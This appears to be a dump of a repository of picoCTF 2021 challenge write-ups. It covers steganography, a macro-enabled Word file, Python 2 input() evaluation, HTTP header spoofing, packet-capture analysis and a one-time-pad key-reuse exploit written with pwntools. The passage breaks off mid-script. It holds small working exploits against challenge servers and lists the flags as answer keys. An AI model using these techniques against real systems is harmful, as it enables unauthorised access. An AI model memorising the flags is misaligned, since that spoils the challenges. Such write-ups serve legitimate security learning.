fVdeUbcS`aQ_`P_`P``PaaQ``P``P__O__O^^N^^N^^N^^N\\L[[KYYI\ZK]ZK\YJ^[L\YJZWHZWHZWHZVG[VG]XI\WHZUFWRCUPAUPAVQBWRCYTEYTEYTEXSDXSDXSD 83 | 13389886 0xCC503E rzip compressed data - version 89.67 (1263815251 bytes) 84 | 13514042 0xCE353A StuffIt Deluxe Segment (data): fVcdTbdT`cS^aQ\_OSWGPVEJP?KQ@V\KW]LX^M`fUjn^lo_XZJBC3JK;QQAQO@TQBTPAUPASN?RM>UPATO@TO@UPATO@TO@TO@UPAVQBUPAUPAUPAVQBUPATPARO@SPA 85 | 13654843 0xD05B3B HPACK archive data 86 | 13840991 0xD3325F StuffIt Deluxe Segment (data): fVgiYfiYcfVbeUadT_bR\_O\_O_bRadT`cS^aQ\_OZ]M]_O`aQ_`P_`P^_O^^N^^N^^N__O``P`^OebSb_Pc`Qb`Q__O^_O`aQbcScdTcdT^_O[\LUVFTUEWWGXYIWZJ 87 | 14459717 0xDCA345 StuffIt Deluxe Segment (data): fV`aQYZJTUEWXHYZJUUESSCWWGYWHZWH\YJa^OeaRa\MUO@[TE]TF[RDXOAaXJ[RDRI;SJ
    UL>UL>VM?XOAXOAWN@TK>SJ=UL?WNAUL?RIVM@WNATK>RI< 88 | 14532293 0xDDBEC5 StuffIt Deluxe Segment (data): fV_`PhiYacS[^NUYIW]Lem\[eTckZw}lyzjjgXRM>LE6NE7UL>UL>VM?YPBWN@VM?VM?WN@WN@VM?RI;PG9QH:SJWN@UL>TK=UL>VM?VM?UL>TK=SJDEC@A?BCADECCDB:;9897BCACDBEFDFGE675'(&./-<=;;:9;98<:9A?>B@? 93 | 94 | 95 | Scan Time: 2021-03-30 13:24:58 96 | Target File: /root/CTFs/Picoctf-2021/tftp/picture3.bmp 97 | MD5 Checksum: a238337719e294911ad8213e834dc548 98 | Signatures: 391 99 | 100 | DECIMAL HEXADECIMAL DESCRIPTION 101 | -------------------------------------------------------------------------------- 102 | 0 0x0 PC bitmap, Windows 3.x format,, 807 x 605 x 24 103 | 104 | ``` 105 | Aaalright, now keep in mind that binwalk can get things wrong. One thing that is important to us is the `rzip compressed data`. What is the `program.deb` anyway? 106 | ``` 107 | file program.deb 108 | program.deb: Debian binary package (format 2.0), with control.tar.gz, data compression xz 109 | 110 | 7z x program.deb 111 | 112 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 113 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) 114 | 115 | Scanning the drive for archives: 116 | 1 file, 138310 bytes (136 KiB) 117 | 118 | Extracting archive: program.deb 119 | -- 120 | Path = program.deb 121 | Type = Ar 122 | Physical Size = 138310 123 | SubType = deb 124 | ---- 125 | Path = data.tar.xz 126 | Size = 136868 127 | Modified = 2014-10-14 20:02:56 128 | Mode = -rw-r--r-- 129 | -- 130 | Path = data.tar.xz 131 | Type = xz 132 | Physical Size = 136868 133 | Method = LZMA2:23 CRC32 134 | Streams = 1 135 | Blocks = 1 136 | 137 | Everything is Ok 138 | 139 | Size: 460800 140 | Compressed: 138310 141 | ``` 142 | Lovely! And what is inside `data.tar`? 143 | ``` 144 | tar xvf data.tar 145 | ./ 146 | ./usr/ 147 | ./usr/share/ 148 | ./usr/share/doc/ 149 | ./usr/share/doc/steghide/ 150 | ./usr/share/doc/steghide/ABOUT-NLS.gz 151 | ./usr/share/doc/steghide/LEAME.gz 152 | ./usr/share/doc/steghide/README.gz 153 | ./usr/share/doc/steghide/changelog.Debian.gz 154 | ./usr/share/doc/steghide/changelog.Debian.amd64.gz 155 | ./usr/share/doc/steghide/changelog.gz 156 | ./usr/share/doc/steghide/copyright 157 | ./usr/share/doc/steghide/TODO 158 | ./usr/share/doc/steghide/HISTORY 159 | ./usr/share/doc/steghide/CREDITS 160 | ./usr/share/doc/steghide/BUGS 161 | ./usr/share/man/ 162 | ./usr/share/man/man1/ 163 | ./usr/share/man/man1/steghide.1.gz 164 | ./usr/share/locale/ 165 | ./usr/share/locale/ro/ 166 | ./usr/share/locale/ro/LC_MESSAGES/ 167 | ./usr/share/locale/ro/LC_MESSAGES/steghide.mo 168 | ./usr/share/locale/fr/ 169 | ./usr/share/locale/fr/LC_MESSAGES/ 170 | ./usr/share/locale/fr/LC_MESSAGES/steghide.mo 171 | ./usr/share/locale/de/ 172 | ./usr/share/locale/de/LC_MESSAGES/ 173 | ./usr/share/locale/de/LC_MESSAGES/steghide.mo 174 | ./usr/share/locale/es/ 175 | ./usr/share/locale/es/LC_MESSAGES/ 176 | ./usr/share/locale/es/LC_MESSAGES/steghide.mo 177 | ./usr/bin/ 178 | ./usr/bin/steghide 179 | ``` 180 | Steghide! Now we know what to use on the `.bmp` file! 181 | 182 | ## Steghide 183 | 184 | Time to get the flag: 185 | ``` 186 | steghide extract -sf picture2.bmp 187 | Enter passphrase: 188 | steghide: could not extract any data with that passphrase! 189 | ``` 190 | Damn... I tried with no password, but no luck. Maybe some of the previous files could help? 191 | ``` 192 | VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF 193 | 194 | I USED THE PROGRAM AND HID IT WITH - DUEDILIGENCE. CHECK OUT THE PHOTOS 195 | ``` 196 | Remember this? `DUEDILIGENCE` looks a bit out of place doesn't it? Also `HID IT WITH`, could this be the password? Also no luck... wait, is this the right file? 197 | ``` 198 | steghide extract -sf picture3.bmp 199 | Enter passphrase: DUEDILIGENCE 200 | wrote extracted data to "flag.txt". 201 | ``` 202 | Wohoo! 203 | ``` 204 | picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919} 205 | ``` -------------------------------------------------------------------------------- /Trivial_Flag_Transfer_Protocol/extract.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Trivial_Flag_Transfer_Protocol/extract.png -------------------------------------------------------------------------------- /Trivial_Flag_Transfer_Protocol/files.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Trivial_Flag_Transfer_Protocol/files.png -------------------------------------------------------------------------------- /Trivial_Flag_Transfer_Protocol/tftp.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Trivial_Flag_Transfer_Protocol/tftp.pcapng -------------------------------------------------------------------------------- /Weird_File/README.md: -------------------------------------------------------------------------------- 1 | # Weird File 2 | 3 | Category: Forensics
    4 | AUTHOR: THELSHELL 5 | 6 | **Disclaimer! I do not own the challenge files!** 7 | 8 | ## Description 9 | ``` 10 | What could go wrong if we let Word documents run programs? (aka "in-the-clear"). 11 | ``` 12 | 13 | ## Word document 14 | 15 | After clicking the link a Word document `weird.docm` is downloaded. Now a little known fact (for some), almost everything that is MS proprietary is just XML and zip (some of you might be pulling your hair, but hey... I think the description works). So what could we do with this? Sure, you could just run `file`, `binwalk` and `strings`. Or! Just use 7z (you can even download it for WIndows). 16 | 17 | ``` 18 | $ 7z x weird.docm 19 | ``` 20 | *On windows just right-click, navigate to 7z and extract* 21 |

    22 | 23 | So what did we extract? 24 | ``` 25 | $ ls 26 | '[Content_Types].xml' customXml docProps _rels weird.docm word 27 | ``` 28 | Great! 29 | 30 | ## Finding the weird stuff 31 | 32 | In word, powerpoint and other documents you can use macros. This allows evil leet h4x0rs to embed code in your word document that will execute (unless you have macros switched off, which you should!). Maybe this is the case here as well? 33 | ``` 34 | $ ls * 35 | '[Content_Types].xml' weird.docm 36 | 37 | customXml: 38 | item1.xml itemProps1.xml _rels 39 | 40 | docProps: 41 | app.xml core.xml 42 | 43 | _rels: 44 | 45 | word: 46 | document.xml fontTable.xml _rels settings.xml styles.xml theme vbaData.xml vbaProject.bin webSettings.xml 47 | ``` 48 | `vbaProject.bin` and `vbaData.xml`? That shouldn't be there, I don't think. Maybe there is something in there? 49 | ``` 50 | $ strings vbaProject.bin 51 | %RL9 52 | Macros can run any program 53 | Title 54 | world! 55 | some text 56 | llow 57 | Couldn't run python script! 58 | Ret_Val = Shell("python -c 'print(\"cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9\")'" & " " & Args, vbNormalFocus) 59 | Attribut 60 | e VB_Nam 61 | e = "Thi 62 | sDocumen 63 | 1Normal. 64 | ... 65 | ... 66 | ... 67 | ``` 68 | Oh, great. I don't think Word ships with this. But that string is definitely `base64`: 69 | 70 | ### Flag on linux 71 | ```bash 72 | echo cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9 | base64 -d 73 | picoCTF{m4cr0s_r_d4ng3r0us} 74 | ``` 75 | Indeed they are Pico. 76 | 77 | ### Flag on Windows (powershell) 78 | ```powershell 79 | [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9')) 80 | picoCTF{m4cr0s_r_d4ng3r0us} 81 | ``` -------------------------------------------------------------------------------- /Weird_File/solve.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | check_dir(){ 4 | if [ -d "base_images" ]; then 5 | cd "base_images" 6 | return 0 7 | else 8 | return 1 9 | fi 10 | } 11 | 12 | check_for_zip() { 13 | if binwalk "$1" | grep "Zip" > /dev/null ; then 14 | 7z x "$1" 15 | return 0 16 | fi 17 | return 1 18 | } 19 | 20 | check_for_zip "$1" 21 | 22 | check_dir 23 | 24 | for i in {2..20} 25 | do 26 | if check_for_zip $i"_c.jpg"; then 27 | if check_dir; then 28 | echo "in" $i"_c.jpg" 29 | else 30 | echo "done" 31 | cat flag.txt 32 | break 33 | fi 34 | fi 35 | done -------------------------------------------------------------------------------- /Weird_File/weird.docm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Weird_File/weird.docm -------------------------------------------------------------------------------- /What's_your_input/README.md: -------------------------------------------------------------------------------- 1 | # What's your input 2 | 3 | **Disclaimer! I do not own any of the challenge files!** 4 | 5 | ``` 6 | nc mercury.picoctf.net 39137 in.py 7 | ``` 8 | 9 | ## in.py 10 | 11 | Looking at the `in.py` file that was provided we see this: 12 | ```py 13 | #!/usr/bin/python2 -u 14 | import random 15 | 16 | cities = open("./city_names.txt").readlines() 17 | city = random.choice(cities).rstrip() 18 | year = 2018 19 | 20 | print("What's your favorite number?") 21 | res = None 22 | while not res: 23 | try: 24 | res = input("Number? ") 25 | print("You said: {}".format(res)) 26 | except: 27 | res = None 28 | 29 | if res != year: 30 | print("Okay...") 31 | else: 32 | print("I agree!") 33 | 34 | print("What's the best city to visit?") 35 | res = None 36 | while not res: 37 | try: 38 | res = input("City? ") 39 | print("You said: {}".format(res)) 40 | except: 41 | res = None 42 | 43 | if res == city: 44 | print("I agree!") 45 | flag = open("./flag").read() 46 | print(flag) 47 | else: 48 | print("Thanks for your input!") 49 | ``` 50 | What happens is, that we have to enter `2018` as our first input to pass the check, and then a random city is picked... which we somehow have to guess. Hmmm. But that shouldn't be possible right? Well check out this part `print("You said: {}".format(res))`. 51 | 52 | ## Testing 53 | 54 | I alawys open a python terminal to test my theory, so here it goes: 55 | ```py 56 | city = 'London' 57 | res = input('City? ') 58 | print("You said: {}".format(res)) 59 | ``` 60 | 61 | Running this piece of code in a python 2.7 interpreter (online [here](https://replit.com/languages/python) ). I run it and enter the following: 62 | ``` 63 | City? city 64 | You said: London 65 | ``` 66 | Great! This confirms my suspicion. In python 2 we can just input the name of a variable, and it will be interpreted as the variable! 67 | 68 | ## The solution 69 | 70 | This is how my connection went: 71 | ``` 72 | nc mercury.picoctf.net 32114 73 | What's your favorite number? 74 | Number? 2018 75 | You said: 2018 76 | I agree! 77 | What's the best city to visit? 78 | City? city 79 | You said: Burlington 80 | I agree! 81 | picoCTF{v4lua4bl3_1npu7_6269606} 82 | ``` 83 | Great! -------------------------------------------------------------------------------- /What's_your_input/in.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 -u 2 | import random 3 | 4 | cities = open("./city_names.txt").readlines() 5 | city = random.choice(cities).rstrip() 6 | year = 2018 7 | 8 | print("What's your favorite number?") 9 | res = None 10 | while not res: 11 | try: 12 | res = input("Number? ") 13 | print("You said: {}".format(res)) 14 | except: 15 | res = None 16 | 17 | if res != year: 18 | print("Okay...") 19 | else: 20 | print("I agree!") 21 | 22 | print("What's the best city to visit?") 23 | res = None 24 | while not res: 25 | try: 26 | res = input("City? ") 27 | print("You said: {}".format(res)) 28 | except: 29 | res = None 30 | 31 | if res == city: 32 | print("I agree!") 33 | flag = open("./flag").read() 34 | print(flag) 35 | else: 36 | print("Thanks for your input!") 37 | 38 | """ 39 | nc mercury.picoctf.net 32114 40 | What's your favorite number? 41 | Number? 2018 42 | You said: 2018 43 | I agree! 44 | What's the best city to visit? 45 | City? city 46 | You said: Burlington 47 | I agree! 48 | picoCTF{v4lua4bl3_1npu7_6269606} 49 | """ -------------------------------------------------------------------------------- /Who_are_you/README.md: -------------------------------------------------------------------------------- 1 | # Who are you? 2 | 3 | AUTHOR: MADSTACKS 4 | 5 | ## Description 6 | ``` 7 | Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn 8 | ``` 9 | 10 | ## Solving the challenge 11 | Obligatory meme: 12 |
    13 | 14 | ![letmein](./letmeingif.gif) 15 | 16 |
    17 | 18 | Now when I opened the link I saw the following: 19 |
    20 | 21 | ![website](./website.png) 22 | 23 |
    24 | 25 | Oh? Any idea how we could specify what browser we are using? Try pressing `Ctrl+Shift+I` and navigating to the `Network` tab, hit reload and look at the `Request Headers` field after clicking on `mercury.picoctf.net` on the left: 26 | ``` 27 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 28 | Accept-Encoding: gzip, deflate 29 | Accept-Language: en-US,en;q=0.9,cs;q=0.8 30 | Cache-Control: max-age=0 31 | Connection: keep-alive 32 | Cookie: name=18 33 | Host: mercury.picoctf.net:52362 34 | sec-gpc: 1 35 | Upgrade-Insecure-Requests: 1 36 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 37 | ``` 38 | The User-Agent specifies our browser! We can either change this with burp, or you could send a request through `python requests`: 39 | ```py 40 | import requests 41 | 42 | url = 'http://mercury.picoctf.net:52362' 43 | 44 | params = { 'User-Agent' : 'PicoBrowser' } 45 | 46 | r = requests.get(url, params=params) 47 | 48 | print(r.text) 49 | ``` 50 | But I went the burp route. 51 | 52 | ## The steps... 53 | 54 | After forwarding the request with `User-Agent: PicoBrowser` a new response! (in text from now on) 55 | ``` 56 | I don't trust users visiting from another site 57 | ``` 58 | Alright? Paranoid much. Thankfully we can set this with another header! Time to check out the [Mozilla Developer docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer). In short this allows us the web server to identify where a user is coming from, ie. what website refered us? So our (only modified) headers look like this now: 59 | ``` 60 | User-Agent: PicoBrowser 61 | Referer: mercury.picoctf.net:52362 62 | ``` 63 | And another response: 64 | ``` 65 | Sorry, this site only worked in 2018. 66 | ``` 67 | Oh! Back to Mozilla! [Here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Date) are the specifications of the `Date` header, which allows us to set exactly that! Now we send these headers (along with the default headers): 68 | ``` 69 | User-Agent: PicoBrowser 70 | Referer: mercury.picoctf.net:52362 71 | Date: 2018 72 | ``` 73 | Response: 74 | ``` 75 | I don't trust users who can be tracked. 76 | ``` 77 | Someone really is paranoid. Thankfully we can also set this using a special header. [DNT](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/DNT) which stands for Do Not Track indicates if we want to be tracked (*the NSA liked your post*). We do this by setting a numerical value `DNT: 1`. So we send the following: 78 | ``` 79 | User-Agent: PicoBrowser 80 | DNT: 1 81 | Referer: mercury.picoctf.net:52362 82 | Date: 2018 83 | ``` 84 | Response: 85 | ``` 86 | This website is only for people from Sweden. 87 | ``` 88 | Lovely. How could we go about setting this? Well there is more than one way of finding someone's location on the internet. Maybe through a language preference? Or! Through your IP address. We could just find a public IP address from Sweden! Like this one: 92.34.186.83; which I found [here](https://tools.tracemyip.org/search--country/sweden). We can specify our IP address using the `X-Forwarded-For` header: 89 | ``` 90 | Host: mercury.picoctf.net:52362 91 | User-Agent: PicoBrowser 92 | DNT: 1 93 | Referer: mercury.picoctf.net:52362 94 | Date: 2018 95 | X-Forwarded-For: 92.34.186.83 96 | ``` 97 | Response: 98 | ``` 99 | You're in Sweden but you don't speak Swedish? 100 | ``` 101 | Now we finally use the language header. Using `Accept-Language` we can specify what we language we would like our webpage to be in. We can even specify the order of importance of these languages! But hey, we want Swedish (skol, am I right?). So how about `Accept-Language: sv-SWE`. Here is the whole request: 102 | ``` 103 | GET / HTTP/1.1 104 | Host: mercury.picoctf.net:52362 105 | Host: mercury.picoctf.net:52362 106 | User-Agent: PicoBrowser 107 | DNT: 1 108 | Referer: mercury.picoctf.net:52362 109 | Date: 2018 110 | X-Forwarded-For: 92.34.186.83 111 | Accept-Language: sv-SWE 112 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 113 | Accept-Language: en-US,en;q=0.5 114 | Accept-Encoding: gzip, deflate 115 | Connection: close 116 | Upgrade-Insecure-Requests: 1 117 | Cache-Control: max-age=0 118 | ``` 119 | And finally the response: 120 |
    121 | 122 | ![flag](./flag.png) 123 | 124 |
    125 | 126 | ``` 127 | picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_0c0db339} 128 | ``` -------------------------------------------------------------------------------- /Who_are_you/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Who_are_you/flag.png -------------------------------------------------------------------------------- /Who_are_you/letmeingif.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Who_are_you/letmeingif.gif -------------------------------------------------------------------------------- /Who_are_you/website.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Who_are_you/website.png -------------------------------------------------------------------------------- /Wireshark_doo_dooo_do_doo/README.md: -------------------------------------------------------------------------------- 1 | # Wireshark doo dooo do doo... 2 | 3 | Category: Forensics
    4 | AUTHOR: DYLAN 5 | 6 | **Disclaimer! I do not own the challenge files!** 7 | 8 | ## Description 9 | ``` 10 | Can you find the flag? shark1.pcapng. 11 | ``` 12 | 13 | ## Wireshark 14 | 15 | Since we received a `.pcap` file, I opened it up in wireshark. Lets have a look: 16 |
    17 | 18 | ![sample](./sample.png) 19 | 20 |
    21 | 22 | I can see some `http` traffic. And since my tactic for wireshark in CTFs is to start with this filter: 23 |
    24 | 25 | ![http](./http.png) 26 | 27 |
    28 | 29 | Or even better, with this filer: 30 | 31 |
    32 | 33 | ![http_200](./http_200.png) 34 | 35 |
    36 | 37 | ``` 38 | http.response.code == 200 39 | ``` 40 | This plays perfectly in my hands. Now just to find a good packet stream. 41 |
    42 | 43 | ![encrypted](./encrypted.png) 44 | 45 |
    46 | 47 | Damn! It's all kerberos encrypted traffic.. or is it? Scroll all the way down (with the `200 OK` filter on): 48 |
    49 | 50 | ![text](./text.png) 51 | 52 |
    53 | 54 | Great! Finally something normal! Now just do the following: 55 |
    56 | 57 | ![follow](./follow.png) 58 | 59 |
    60 | 61 | And this pops out: 62 | ``` 63 | GET / HTTP/1.1 64 | Host: 18.222.37.134 65 | Connection: keep-alive 66 | Cache-Control: max-age=0 67 | Upgrade-Insecure-Requests: 1 68 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 69 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 70 | Accept-Encoding: gzip, deflate 71 | Accept-Language: en-US,en;q=0.9 72 | 73 | HTTP/1.1 200 OK 74 | Date: Mon, 10 Aug 2020 01:51:45 GMT 75 | Server: Apache/2.4.29 (Ubuntu) 76 | Last-Modified: Fri, 07 Aug 2020 00:45:02 GMT 77 | ETag: "2f-5ac3eea4fcf01" 78 | Accept-Ranges: bytes 79 | Content-Length: 47 80 | Keep-Alive: timeout=5, max=100 81 | Connection: Keep-Alive 82 | Content-Type: text/html 83 | 84 | Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs} 85 | ``` 86 | And since this is a CTF, how about we just assume this to be ROT13 encoded? An online decoder is enough, like [this one](https://www.boxentriq.com/code-breaking/rot13): 87 |
    88 | 89 | ![flag](flag.png) 90 | 91 |
    92 | Huzzah! -------------------------------------------------------------------------------- /Wireshark_doo_dooo_do_doo/encrypted.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/encrypted.png -------------------------------------------------------------------------------- /Wireshark_doo_dooo_do_doo/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/flag.png -------------------------------------------------------------------------------- /Wireshark_doo_dooo_do_doo/follow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/follow.png -------------------------------------------------------------------------------- /Wireshark_doo_dooo_do_doo/http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/http.png -------------------------------------------------------------------------------- /Wireshark_doo_dooo_do_doo/http_200.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/http_200.png -------------------------------------------------------------------------------- /Wireshark_doo_dooo_do_doo/sample.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/sample.png -------------------------------------------------------------------------------- /Wireshark_doo_dooo_do_doo/shark1.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/shark1.pcapng -------------------------------------------------------------------------------- /Wireshark_doo_dooo_do_doo/text.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/text.png -------------------------------------------------------------------------------- /crackme_py/README.md: -------------------------------------------------------------------------------- 1 | # crackme-py 2 | 3 | Category: Reverse Engineering
    4 | AUTHOR: SYREAL 5 | 6 | ## Solving 7 | 8 | Open up the source code: 9 | ```py 10 | # Hiding this really important number in an obscure piece of code is brilliant! 11 | # AND it's encrypted! 12 | # We want our biggest client to know his information is safe with us. 13 | bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE067d3eh2bN" 14 | 15 | # Reference alphabet 16 | alphabet = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \ 17 | "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" 18 | ``` 19 | Wow, okay. Jess Bezos! Now look a little lower: 20 | ```py 21 | def decode_secret(secret): 22 | """ROT47 decode 23 | 24 | NOTE: encode and decode are the same operation in the ROT cipher family. 25 | """ 26 | ``` 27 | So a ROT47, we can just use [cyberchef](https://gchq.github.io/CyberChef/) and decode the secret: 28 | ``` 29 | picoCTF{1|\/|_4_p34|\|ut_ef5b69a3} 30 | ``` 31 | Here we go. -------------------------------------------------------------------------------- /easy_peasy/README.md: -------------------------------------------------------------------------------- 1 | # Easy Peasy 2 | 3 | Category: Cryptography
    4 | AUTHOR: MADSTACKS 5 |

    6 | 7 | **DISCLAIMER! I do not own any of the challenge files!** 8 | 9 | 10 | ## Description 11 | ``` 12 | A one-time pad is unbreakable, but can you manage to recover the flag? (Wrap with picoCTF{}) 13 | ``` 14 | 15 | ## Connecting 16 | 17 | We were given an `nc` command to run (as well as the source code, more on that later). 18 | ``` 19 | nc mercury.picoctf.net 58913 20 | ******************Welcome to our OTP implementation!****************** 21 | This is the encrypted flag! 22 | 51124f4d194969633e4b52026f4c07513a6f4d05516e1e50536c4954066a1c57 23 | 24 | What data would you like to encrypt? 25 | ``` 26 | Alright... so what exactly is a one-time pad? The gimmick of it is, that we have a random string (that is our key) that is at least as long as the message (in our case it's longer). But what is the most important part? This surely can't be secure! Well it is, only if the key is never reused. Hell, even the NSA used a one-time pad! On paper! (listen about that [here](https://darknetdiaries.com/episode/83/)). Now that we know this, time to look at the source code. 27 | 28 | ## Studying otp.py 29 | 30 | At the start we have some important variables: 31 | ```py 32 | KEY_FILE = "key" 33 | KEY_LEN = 50000 34 | FLAG_FILE = "flag" 35 | ``` 36 | Next we have two functions `encrypt` and `startup`. `startup` is called first, it reads from the `FLAG_FILE`, sets a starting and end point and then encrypts the flag using the key from `KEY_FILE`: 37 | ```py 38 | def startup(key_location): 39 | flag = open(FLAG_FILE).read() 40 | kf = open(KEY_FILE, "rb").read() 41 | 42 | start = key_location 43 | stop = key_location + len(flag) 44 | 45 | key = kf[start:stop] 46 | key_location = stop 47 | 48 | result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), flag, key)) 49 | print("This is the encrypted flag!\n{}\n".format("".join(result))) 50 | 51 | return key_location 52 | ``` 53 | So what are the `start` and `stop` variables for? These are file offsets, so the key will always be as long as the message. Now the `encrypt` function: 54 | ```py 55 | def encrypt(key_location): 56 | ui = input("What data would you like to encrypt? ").rstrip() 57 | if len(ui) == 0 or len(ui) > KEY_LEN: 58 | return -1 59 | 60 | start = key_location # starts at 32 61 | stop = key_location + len(ui) # 32 + len(input) 62 | 63 | kf = open(KEY_FILE, "rb").read() 64 | 65 | if stop >= KEY_LEN: 66 | stop = stop % KEY_LEN # if stop == KEY_LEN then stop = 0 67 | key = kf[start:] + kf[:stop] # key = [start, 0] 68 | else: 69 | key = kf[start:stop] 70 | key_location = stop # we want this to be 0 71 | 72 | result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), ui, key)) 73 | 74 | print("Here ya go!\n{}\n".format("".join(result))) 75 | 76 | return key_location 77 | ``` 78 | This is the really important function for us. I added some comments for myself as I was solving the challenge. So what is going on here? The function reads our input (if none is provided or its bigger than 50000 return -1), gets a starting file offset and calculates the ending offset. The start is where the end was previously, so when we give our first input it is the length of the flag ( `len(flag)/2` actually. As each letter is a hex number of atleast two letters/digits).
    79 | 80 | So this gives us an offset of `32`. What next? Look here: 81 | ```py 82 | if stop >= KEY_LEN: 83 | stop = stop % KEY_LEN # if stop == KEY_LEN then stop = 0 84 | key = kf[start:] + kf[:stop] # key = [start, 0] 85 | else: 86 | key = kf[start:stop] 87 | key_location = stop # we want this to be 0 88 | ``` 89 | Interesting huh? If the `stop` offset is equal or larger then the `KEY_LEN` variable we set stop to `stop % KEY_LEN`. What does that mean for us? Well, if we get the stop to be exactly `KEY_LEN` then `KEY_LEN % KEY_LEN == 0` and bam! We have one-time pad reuse!! If this is not obvious to you, try playing around with it in the console.
    90 | 91 | Lastly, since the "encryption" is just a xor, we can easily get the result by xoring with the key again. 92 | 93 | ## Getting padding reuse 94 | 95 | Now we just need to construct our payload and run our script. Once we loop the pad back to zero, we need an input of length `32`. Because we know the plaintext and the ciphertext, we can xor them and get the key! Then just xor with the encrypted flag and whabbam. 96 | ```py 97 | from pwn import * 98 | 99 | import binascii 100 | 101 | offset = 50000 - 32 102 | 103 | p = remote('mercury.picoctf.net', 58913) 104 | 105 | print(p.recvline()) 106 | print(p.recvline()) 107 | encrypted_flag = p.recvline().strip() 108 | 109 | print(encrypted_flag) 110 | 111 | p.recvuntil('?') 112 | p.sendline('A'*offset) 113 | 114 | p.recvuntil('?') 115 | 116 | p.sendline('A'*32) 117 | 118 | p.recvline() 119 | ``` 120 | I used `pwntools` because it allowed me to easily interact with the remote service. Like this I receive lines, send a bunch of A's (to get back to offset 0) and send exactly 32 A's. 121 | ```py 122 | encoded = p.recvline().strip() 123 | 124 | print(f'encoded input: {encoded}') 125 | 126 | encoded = binascii.unhexlify(encoded) 127 | 128 | print(f'unhexed input: {encoded}') 129 | ``` 130 | Then unhexlify the input so we can decode it! 131 | ```py 132 | message = 'A'*32 133 | 134 | key = [] 135 | 136 | for e in range(len(encoded)): 137 | key.append( ord(message[e])^encoded[e] ) 138 | 139 | print(f'[+] Found key: {key}') 140 | ``` 141 | Then just xor the unhexlified encrypted message with our plaintext and we have the key! 142 | ```py 143 | decoded_flag = [] 144 | 145 | encrypted_flag = binascii.unhexlify(encrypted_flag) 146 | 147 | for i in range(32): 148 | decoded_flag.append( chr(key[i]^encrypted_flag[i]) ) 149 | 150 | flag = ''.join(decoded_flag) 151 | 152 | print(f'flag: 